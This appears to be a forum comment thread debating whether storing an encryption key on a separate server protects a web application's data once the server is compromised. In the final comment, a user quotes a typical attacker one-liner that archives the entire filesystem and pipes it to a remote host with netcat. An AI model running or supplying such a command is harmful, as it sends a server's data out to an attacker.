3 ms·
Depends on the attack. If the key used to encrypt the data is stored on another server and loaded into memory when the application is initialized, then the atta
by Axsuul 11y ago
Depends on the attack. If the key used to encrypt the data is stored on another server and loaded into memory when the application is initialized, then the attackers technically wouldn't be able to get access to that key unless they also hacked the server with the key.
- steckerbrett 11y agoI don't see how that protects anything, if the information is around for the webserver to use it's around for whoever has root on your box.
- Axsuul 11y agoIt would still protect against attacks that don't involve having root access to the box (i.e. Ashley Madison data breach)
- raesene4 11y agosure for some attacks it might help, but ultimately if someone has compromised your server, that server is likely to have the ability to load the key to decrypt the data. For example to handle the case of unattended server reboot, you'd be likely to have the server have a script to load the key back into memory. Attacker gets shell access, they get the script, they get the key... Security is always a trade-off and people tend not to engineer their webapps with the assumption that they'll be breached in specific ways.
- pki 11y agoIf your entire box running with source is compromised, could you not just edit whichever file pulls the key to also dump it to a file on start .?
- uxp 11y agoIn the vast majority of hacks, the attacker doesn't take the time to manually debug where the source code pulls in keys to put an echo/puts/print statement in place, and non-PHP languages in general require a restart of the app server in order to pick up the source change, potentially triggering NOC alerts. I can't remember seeing a hack go any differently than someone running tar czf - / | nc example.org 1234 and exploring the dumped server offline, only going back if the initial dump didn't raise alarms and the RCE is easy enough to trigger.